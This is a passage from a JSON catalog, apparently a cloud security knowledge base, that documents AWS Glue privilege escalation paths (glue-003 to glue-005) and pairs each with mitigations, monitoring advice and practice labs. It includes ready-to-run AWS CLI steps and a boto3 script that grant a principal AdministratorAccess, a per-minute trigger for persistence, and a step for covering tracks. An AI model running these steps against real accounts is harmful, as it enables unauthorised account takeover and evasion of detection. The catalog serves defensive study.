          "command": "aws glue start-job-run \\\n  --region us-east-1 \\\n  --job-name privesc-glue-job\n",
          "description": "Start the Glue job run. This executes your Python script with the privileges of the administrative role you passed to the job."
        },
        {
          "step": 4,
          "command": "# Wait 1-2 minutes for job completion, then verify\naws glue get-job-run \\\n  --region us-east-1 \\\n  --job-name privesc-glue-job \\\n  --run-id JOB_RUN_ID \\\n  --query 'JobRun.JobRunState'\n",
          "description": "Monitor the job execution status. Wait for the JobRunState to show SUCCEEDED, which indicates your script has completed execution."
        },
        {
          "step": 5,
          "command": "# Wait 15 seconds for IAM policy propagation\nsleep 15\n# Verify admin access\naws iam list-users\n",
          "description": "After the job completes and IAM changes propagate, verify that you now have administrative permissions by executing a privileged operation."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Glue job need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificGlueRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"glue.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual Glue job creation followed by immediate execution\n- Monitor CloudTrail for Glue job creation by principals who do not usually create jobs\n- Monitor CloudTrail for roles being passed to Glue that haven't been used before\n- Monitor and alert on Glue job creation with privileged roles\n- Regularly audit Glue jobs for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Glue service and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "HackTricks",
        "link": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/"
      },
      "derivativeOf": {
        "pathId": "glue-001",
        "modification": "Uses glue:CreateJob + glue:StartJobRun to execute arbitrary Python code instead of using development endpoints with SSH access"
      },
      "ultimateOrigin": {
        "pathId": "glue-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "HackingTheCloud - PassRole + Glue CreateJob Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatejob"
      },
      {
        "title": "HackTricks - AWS - Glue Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/index.html#iampassrole-gluecreatejob--glueupdatejob-gluestartjobrun--gluecreatetrigger"
      },
      {
        "title": "Rhino Security Labs - CloudGoat Glue_privesc Walkthrough",
        "url": "https://rhinosecuritylabs.com/cloud-security/cloudgoat-walkthrough-glue_privesc/"
      },
      {
        "title": "CloudGoat - glue_privesc Scenario",
        "url": "https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/glue_privesc"
      }
    ],
    "relatedPaths": [
      "glue-001",
      "glue-002",
      "glue-004",
      "glue-005",
      "lambda-001",
      "ec2-001"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+glue-createjob+glue-startjobrun",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "glue_privesc",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS Glue privilege escalation attacks"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `glue:CreateJob`, and `glue:StartJobRun` permissions. Can be an IAM user or role.\n\nThis principal can create new Glue jobs and pass IAM roles to them, then manually trigger their execution.\n"
        },
        {
          "id": "glue_job",
          "label": "New Glue Job",
          "type": "resource",
          "description": "A new AWS Glue Python shell job created by the attacker. The job is configured with:\n- **Role**: The privileged role passed via iam:PassRole\n- **Script**: Python script that performs privilege escalation\n- **Command**: pythonshell execution environment\n\nThe job definition is created but not yet executed.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the glue Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the Glue job. This role must have a trust policy allowing glue.amazonaws.com to assume it.\n\nThe permissions of this role determine what the Glue job can do when it executes. The job will run with the temporary credentials of this role.\n"
        },
        {
          "id": "job_execution",
          "label": "Job Executes with Passed Role",
          "type": "payload",
          "description": "The Glue job is started manually using `glue:StartJobRun`. The job execution begins in the AWS Glue managed environment.\n\nDuring execution, the job assumes the passed role and receives temporary credentials. The Python script runs with these credentials and can perform any actions the role permits.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The target role has administrative permissions (e.g., AdministratorAccess or iam:* permissions). The Python script successfully uses these permissions to attach the AdministratorAccess policy to the starting principal.\n\nThe starting principal now has full administrative access to the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has some elevated permissions but not full IAM write access. The script may be able to:\n- Access sensitive data in S3, databases, or other AWS services\n- Perform actions that enable multi-hop privilege escalation\n- Read secrets from AWS Secrets Manager or Parameter Store\n\nFurther exploration is needed to determine the full scope of access gained.\n"
        },
        {
          "id": "no_perms",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role has only minimal permissions (e.g., basic Glue service permissions). The script cannot perform meaningful privilege escalation.\n\nHowever, this still demonstrates a security gap that should be addressed.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "glue_job",
          "label": "iam:PassRole + glue:CreateJob",
          "description": "The starting principal creates a new Glue job and passes the target role to it using the following command:\n\n```bash\naws glue create-job \\\n  --name privesc-glue-job \\\n  --role \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --command \"Name=pythonshell,ScriptLocation=s3://bucket/escalation_script.py,PythonVersion=3.9\"\n```\n\nThe `--role` parameter invokes iam:PassRole to assign the privileged role.\n"
        },
        {
          "from": "glue_job",
          "to": "target_role",
          "label": "Role assigned to job",
          "description": "The target role is configured as the execution role for the Glue job. When the job runs, it will assume this role and receive temporary credentials.\n"
        },
        {
          "from": "target_role",
          "to": "job_execution",
          "label": "glue:StartJobRun",
          "description": "The starting principal manually triggers the job execution:\n\n```bash\naws glue start-job-run --job-name privesc-glue-job\n```\n\nThe job begins executing in the Glue managed environment with the passed role's credentials.\n"
        },
        {
          "from": "job_execution",
          "to": "admin",
          "label": "If role has IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or iam:AttachUserPolicy permission, the Python script successfully attaches the AdministratorAccess policy to the starting principal.\n\nExample script:\n```python\nimport boto3\niam = boto3.client('iam')\niam.attach_user_policy(\n    UserName='starting-principal',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\n```\n"
        },
        {
          "from": "job_execution",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions but not IAM write access, the attacker may gain access to:\n- Sensitive data in S3, RDS, DynamoDB, etc.\n- Secrets in AWS Secrets Manager or Systems Manager Parameter Store\n- Multi-hop privilege escalation opportunities\n"
        },
        {
          "from": "job_execution",
          "to": "no_perms",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has basic Glue service permissions (e.g., AWSGlueServiceRole), the script cannot perform meaningful privilege escalation.\n\nThe job will execute but cannot modify IAM or access sensitive resources.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-05T19:56:13Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/glue/glue-003.yaml"
  },
  {
    "id": "glue-004",
    "name": "iam:PassRole + glue:CreateJob + glue:CreateTrigger",
    "category": "new-passrole",
    "services": [
      "iam",
      "glue"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L151",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L222"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass a role to glue.amazonaws.com"
        },
        {
          "permission": "glue:CreateJob",
          "resourceConstraints": "Must be able to create Glue jobs"
        },
        {
          "permission": "glue:CreateTrigger",
          "resourceConstraints": "Must be able to create Glue triggers with --start-on-creation flag"
        }
      ],
      "additional": [
        {
          "permission": "glue:GetJob",
          "resourceConstraints": "Helpful for retrieving job details and verifying configuration"
        },
        {
          "permission": "glue:GetTrigger",
          "resourceConstraints": "Useful for monitoring trigger state and activation status"
        },
        {
          "permission": "glue:GetJobRun",
          "resourceConstraints": "Helpful for monitoring job execution details"
        },
        {
          "permission": "glue:GetJobRuns",
          "resourceConstraints": "Useful for listing job runs to track execution history"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available privileged roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `glue:CreateJob`, and `glue:CreateTrigger` can create an AWS Glue job with a privileged IAM role and establish a scheduled trigger that automatically executes the job. Unlike manual execution via `glue:StartJobRun`, this technique creates a persistent attack mechanism through scheduled automation. AWS Glue triggers are automation components that can start jobs based on schedules (cron expressions), events, or on-demand. When a trigger is created with the `--start-on-creation` flag, it immediately activates and begins executing the associated job according to its schedule (e.g., every minute). The trigger-based approach is particularly dangerous because it demonstrates a persistence pattern rather than just immediate exploitation. The attacker creates a scheduled job that continuously grants administrative access, making it harder to detect and remediate. This technique shows how AWS service automation features can be abused for persistent privilege escalation. The job executes Python code that modifies IAM permissions to grant the starting principal administrative access, and the trigger ensures this runs repeatedly on a schedule.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts glue.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts glue.amazonaws.com to assume it",
        "The role's permissions determine the level of access gained"
      ]
    },
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available in the environment, you gain access limited to those role's permissions. However, even limited access may enable multi-hop attacks or access to sensitive data. The persistent nature of triggers means access can be re-granted even after remediation attempts if the trigger is not identified and removed.\n",
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# Create Python script that attaches admin policy (upload to S3)\n# Example script content:\nimport boto3\niam = boto3.client('iam')\niam.attach_user_policy(\n    UserName='target-username',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\n",
          "description": "Prepare a Python script that will attach AdministratorAccess policy to your starting principal. This script must be uploaded to an S3 bucket that the Glue job can access."
        },
        {
          "step": 2,
          "command": "aws glue create-job \\\n  --region us-east-1 \\\n  --name privesc-glue-job \\\n  --role \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --command \"Name=pythonshell,ScriptLocation=s3://bucket/escalation_script.py,PythonVersion=3.9\" \\\n  --default-arguments '{\"--job-language\":\"python\"}' \\\n  --max-capacity 0.0625 \\\n  --timeout 5\n",
          "description": "Create a Glue Python shell job with the privileged role. The --role parameter uses iam:PassRole to assign the administrative role to the job. The ScriptLocation points to your malicious Python script."
        },
        {
          "step": 3,
          "command": "aws glue create-trigger \\\n  --region us-east-1 \\\n  --name privesc-trigger \\\n  --type SCHEDULED \\\n  --start-on-creation \\\n  --schedule \"cron(0/1 * * * ? *)\" \\\n  --actions '[{\"JobName\": \"privesc-glue-job\"}]'\n",
          "description": "Create a scheduled trigger with --start-on-creation flag. This immediately activates the trigger and schedules the job to run every minute. The trigger will fire at the next scheduled time and execute the malicious job automatically without requiring glue:StartJobRun permission."
        },
        {
          "step": 4,
          "command": "# Wait 1-3 minutes for trigger to fire and job to complete\naws glue get-trigger \\\n  --region us-east-1 \\\n  --name privesc-trigger \\\n  --query 'Trigger.State'\n",
          "description": "Verify the trigger state shows ACTIVATED. Scheduled triggers fire at the next scheduled time (every minute in this case). Wait for the job to execute automatically."
        },
        {
          "step": 5,
          "command": "aws glue get-job-runs \\\n  --region us-east-1 \\\n  --job-name privesc-glue-job \\\n  --max-results 1 \\\n  --query 'JobRuns[0].JobRunState'\n",
          "description": "Check the latest job run to confirm it has executed. Wait for JobRunState to show SUCCEEDED, indicating your script has completed and administrative access has been granted."
        },
        {
          "step": 6,
          "command": "# Wait 15 seconds for IAM policy propagation\nsleep 15\n# Verify admin access\naws iam list-users\n",
          "description": "After the job completes and IAM changes propagate, verify that you now have administrative permissions. Note that the trigger will continue to run every minute, re-granting access even if it's removed."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Glue job need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificGlueRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"glue.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual Glue job creation followed by immediate trigger creation\n- Monitor CloudTrail for Glue job and trigger creation by principals who do not usually create jobs\n- Monitor CloudTrail for roles being passed to Glue that haven't been used before\n- Monitor and alert on Glue job creation with privileged roles\n- Regularly audit Glue jobs for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Glue service and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "HackTricks",
        "link": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/"
      },
      "derivativeOf": {
        "pathId": "glue-003",
        "modification": "Uses glue:CreateTrigger with --start-on-creation to automate job execution instead of manual glue:StartJobRun, providing persistence"
      },
      "ultimateOrigin": {
        "pathId": "glue-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "HackingTheCloud - PassRole + Glue UpdateJob Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iampassrole-glueupdatejob"
      },
      {
        "title": "HackTricks - AWS - Glue Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/index.html#iampassrole-gluecreatejob--glueupdatejob-gluestartjobrun--gluecreatetrigger"
      },
      {
        "title": "Rhino Security Labs - CloudGoat Glue_privesc Walkthrough",
        "url": "https://rhinosecuritylabs.com/cloud-security/cloudgoat-walkthrough-glue_privesc/"
      },
      {
        "title": "CloudGoat - glue_privesc Scenario",
        "url": "https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/glue_privesc"
      }
    ],
    "relatedPaths": [
      "glue-001",
      "glue-002",
      "glue-003",
      "glue-006",
      "lambda-001",
      "ec2-001"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+glue-createjob+glue-createtrigger",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "glue_privesc",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS Glue privilege escalation attacks"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole`, `glue:CreateJob`, and `glue:CreateTrigger` permissions. Can be an IAM user or role.\n\nThis principal can create new Glue jobs, pass IAM roles to them, and create scheduled triggers for automated execution.\n"
        },
        {
          "id": "glue_job",
          "label": "New Glue Job",
          "type": "resource",
          "description": "A new AWS Glue Python shell job created by the attacker. The job is configured with:\n- **Role**: The privileged role passed via iam:PassRole\n- **Script**: Python script that performs privilege escalation\n- **Command**: pythonshell execution environment\n\nA scheduled trigger is also created with `--start-on-creation` to execute this job automatically every minute, providing **persistence**.\n\n```bash\n# Create the job\naws glue create-job \\\n  --name privesc-glue-job \\\n  --role \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --command \"Name=pythonshell,ScriptLocation=s3://bucket/escalation_script.py,PythonVersion=3.9\"\n\n# Create trigger for persistence\naws glue create-trigger \\\n  --name privesc-trigger \\\n  --type SCHEDULED \\\n  --start-on-creation \\\n  --schedule \"cron(0/1 * * * ? *)\" \\\n  --actions '[{\"JobName\": \"privesc-glue-job\"}]'\n```\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the glue Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the Glue job. This role must have a trust policy allowing glue.amazonaws.com to assume it.\n\nWhen the job runs (triggered automatically every minute), it assumes this role and receives temporary credentials. The permissions of this role determine what the malicious script can accomplish.\n"
        },
        {
          "id": "execute_code",
          "label": "Execute Code with Target Role Permissions",
          "type": "payload",
          "description": "The scheduled trigger fires automatically (every minute) and starts the Glue job. No manual `glue:StartJobRun` is needed.\n\nThe job executes in the AWS Glue managed environment with the target role's credentials. The malicious Python script runs repeatedly on each trigger activation:\n\n```python\nimport boto3\niam = boto3.client('iam')\niam.attach_user_policy(\n    UserName='starting-principal',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\n```\n\n**Persistence**: The trigger continues to fire every minute, repeatedly executing this code.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator + Persistent Backdoor",
          "type": "outcome",
          "description": "The target role has administrative permissions (e.g., AdministratorAccess or iam:* permissions). The Python script successfully uses these permissions to attach the AdministratorAccess policy to the starting principal.\n\n**Persistence**: The trigger continues to fire every minute, re-granting administrative access even if the policy attachment is removed. This creates a persistent backdoor that is difficult to remediate without identifying and deleting the trigger.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access + Persistence",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has some elevated permissions but not full IAM write access. The script may gain access to:\n- Sensitive data in S3, databases, or other AWS services\n- Secrets in AWS Secrets Manager or Parameter Store\n- Multi-hop privilege escalation opportunities\n\n**Persistence**: The trigger continues to fire, repeatedly performing these actions every minute.\n"
        },
        {
          "id": "no_perms",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role has only minimal permissions (e.g., basic Glue service permissions). The script cannot perform meaningful privilege escalation.\n\nHowever, the trigger continues to fire every minute, consuming resources and demonstrating a security gap.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "glue_job",
          "label": "glue:CreateJob + glue:CreateTrigger",
          "description": "The starting principal creates a new Glue job (using `iam:PassRole` to assign the privileged role) and immediately creates a scheduled trigger with `--start-on-creation` to automate its execution.\n\nThis creates a **persistent attack mechanism** where the job automatically executes every minute without requiring manual intervention.\n"
        },
        {
          "from": "glue_job",
          "to": "target_role",
          "label": "Job assumes passed role",
          "description": "When the trigger fires and the job starts executing, it automatically assumes the target role that was passed during job creation. The Glue service requests temporary credentials from AWS STS for this role.\n\nThe job now has all the permissions granted to the target role.\n"
        },
        {
          "from": "target_role",
          "to": "execute_code",
          "label": "Script executes with role permissions",
          "description": "The malicious Python script executes in the Glue job environment with the temporary credentials from the target role. The script uses boto3 to interact with AWS APIs and attempt privilege escalation.\n\nThis happens **repeatedly every minute** as the trigger continues to fire, providing persistence.\n"
        },
        {
          "from": "execute_code",
          "to": "admin",
          "label": "If role has IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or `iam:AttachUserPolicy` permission, the script successfully attaches the AdministratorAccess policy to the starting principal.\n\nThe trigger continues to fire every minute, making this a **persistent backdoor** that re-grants admin access even if manually removed.\n"
        },
        {
          "from": "execute_code",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions but not IAM write access, the attacker gains partial access such as reading sensitive data or accessing other AWS services.\n\nThe trigger provides persistence, repeatedly performing these actions every minute.\n"
        },
        {
          "from": "execute_code",
          "to": "no_perms",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has basic Glue service permissions, the script cannot perform meaningful privilege escalation.\n\nHowever, the trigger continues firing every minute, demonstrating a security gap.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-05T19:56:13Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/glue/glue-004.yaml"
  },
  {
    "id": "glue-005",
    "name": "iam:PassRole + glue:UpdateJob + glue:StartJobRun",
    "category": "new-passrole",
    "services": [
      "iam",
      "glue"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L157",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L223"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass a role to glue.amazonaws.com"
        },
        {
          "permission": "glue:UpdateJob",
          "resourceConstraints": "Must be able to update existing Glue job configurations"
        },
        {
          "permission": "glue:StartJobRun",
          "resourceConstraints": "Must be able to start Glue job runs"
        }
      ],
      "additional": [
        {
          "permission": "glue:GetJob",
          "resourceConstraints": "Helpful for retrieving current job configuration before modification"
        },
        {
          "permission": "glue:ListJobs",
          "resourceConstraints": "Useful for discovering existing Glue jobs that can be modified"
        },
        {
          "permission": "glue:GetJobRun",
          "resourceConstraints": "Helpful for monitoring job execution details"
        },
        {
          "permission": "glue:GetJobRuns",
          "resourceConstraints": "Useful for listing job runs to track execution history"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available privileged roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `glue:UpdateJob`, and `glue:StartJobRun` can modify an existing AWS Glue ETL job to execute with an administrative role and malicious Python code that grants the starting principal administrative access. Unlike the `glue:CreateJob` privilege escalation technique where an attacker creates a new Glue job, this scenario exploits the ability to update an existing job that already exists in the environment. This approach can be stealthier because existing Glue jobs are common in production environments running legitimate ETL workloads, updating a job generates different CloudTrail events than creating new resources, security monitoring may focus more on resource creation than modification, and the attack can blend in with normal job maintenance activities. When updating a Glue job, an attacker can change both the IAM role the job uses (via `iam:PassRole`) and the script location. By pointing the job to a malicious Python script and passing an administrative role, they can execute arbitrary code with elevated privileges when the job runs. The attacker modifies an existing job's configuration to use a privileged role and malicious script location, manually starts the job execution, and the job executes Python code that modifies IAM permissions to grant the starting principal administrative access.",
    "prerequisites": {
      "admin": [
        "An existing Glue job must be present in the environment that can be modified",
        "A role must exist that trusts glue.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "An existing Glue job must be present in the environment that can be modified",
        "A role must exist that trusts glue.amazonaws.com to assume it",
        "The role's permissions determine the level of access gained"
      ]
    },
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available in the environment, you gain access limited to those role's permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "# List existing Glue jobs to find one to modify\naws glue list-jobs --region us-east-1\n",
          "description": "Discover existing Glue jobs in the environment. Choose a job that you have permission to update. Jobs that run infrequently or are not actively monitored are ideal targets."
        },
        {
          "step": 2,
          "command": "# View current job configuration\naws glue get-job \\\n  --region us-east-1 \\\n  --job-name existing-job-name \\\n  --query 'Job.{Role: Role, Script: Command.ScriptLocation}'\n",
          "description": "Retrieve the current job configuration to see its existing role and script location. Document these values if you need to restore the job after the attack."
        },
        {
          "step": 3,
          "command": "# Create Python script that attaches admin policy (upload to S3)\n# Example script content:\nimport boto3\niam = boto3.client('iam')\niam.attach_user_policy(\n    UserName='target-username',\n    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n)\n",
          "description": "Prepare a Python script that will attach AdministratorAccess policy to your starting principal. Upload this script to an S3 bucket that the Glue job can access."
        },
        {
          "step": 4,
          "command": "aws glue update-job \\\n  --region us-east-1 \\\n  --job-name existing-job-name \\\n  --job-update \"Role=arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE,Command={Name=pythonshell,ScriptLocation=s3://bucket/escalation_script.py,PythonVersion=3.9}\"\n",
          "description": "Update the existing Glue job to use the privileged role and point to your malicious script. The Role parameter uses iam:PassRole to assign the administrative role. The ScriptLocation is changed to your escalation script."
        },
        {
          "step": 5,
          "command": "aws glue start-job-run \\\n  --region us-east-1 \\\n  --job-name existing-job-name\n",
          "description": "Start the updated Glue job. This executes your malicious Python script with the privileges of the administrative role you passed to the job."
        },
        {
          "step": 6,
          "command": "# Wait 1-2 minutes for job completion\naws glue get-job-run \\\n  --region us-east-1 \\\n  --job-name existing-job-name \\\n  --run-id JOB_RUN_ID \\\n  --query 'JobRun.JobRunState'\n",
          "description": "Monitor the job execution status. Wait for the JobRunState to show SUCCEEDED, which indicates your script has completed execution."
        },
        {
          "step": 7,
          "command": "# Wait 15 seconds for IAM policy propagation\nsleep 15\n# Verify admin access\naws iam list-users\n",
          "description": "After the job completes and IAM changes propagate, verify that you now have administrative permissions by executing a privileged operation."
        },
        {
          "step": 8,
          "command": "# Optional: Restore original job configuration to cover tracks\naws glue update-job \\\n  --region us-east-1 \\\n  --job-name existing-job-name \\\n  --job-update \"Role=arn:aws:iam::ACCOUNT_ID:role/ORIGINAL_ROLE,Command={Name=pythonshell,ScriptLocation=s3://original-bucket/original_script.py,PythonVersion=3.9}\"\n",
          "description": "Optionally restore the job to its original configuration to reduce the likelihood of detection. Use the values you documented in step 2."
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a Glue job need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificGlueRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"glue.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual Glue job updates followed by immediate execution\n- Monitor CloudTrail for Glue job updates by principals who do not usually update jobs\n- Monitor CloudTrail for roles being passed to Glue that haven't been used before\n- Monitor and alert on Glue job updates with privileged roles\n- Regularly audit Glue jobs for excessive IAM permissions\n- Regularly audit all IAM roles that trust the Glue service and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "HackTricks",
        "link": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/"
      },
      "derivativeOf": {
        "pathId": "glue-003",
        "modification": "Uses glue:UpdateJob to modify an existing job instead of glue:CreateJob, providing stealth by blending with normal maintenance activities"
      },
      "ultimateOrigin": {
        "pathId": "glue-001",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "HackTricks - AWS - Glue Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/index.html#iampassrole-gluecreatejob--glueupdatejob-gluestartjobrun--gluecreatetrigger"
      },
      {
        "title": "Rhino Security Labs - CloudGoat Glue_privesc Walkthrough",
        "url": "https://rhinosecuritylabs.com/cloud-security/cloudgoat-walkthrough-glue_privesc/"
      },
      {
        "title": "CloudGoat - glue_privesc Scenario",
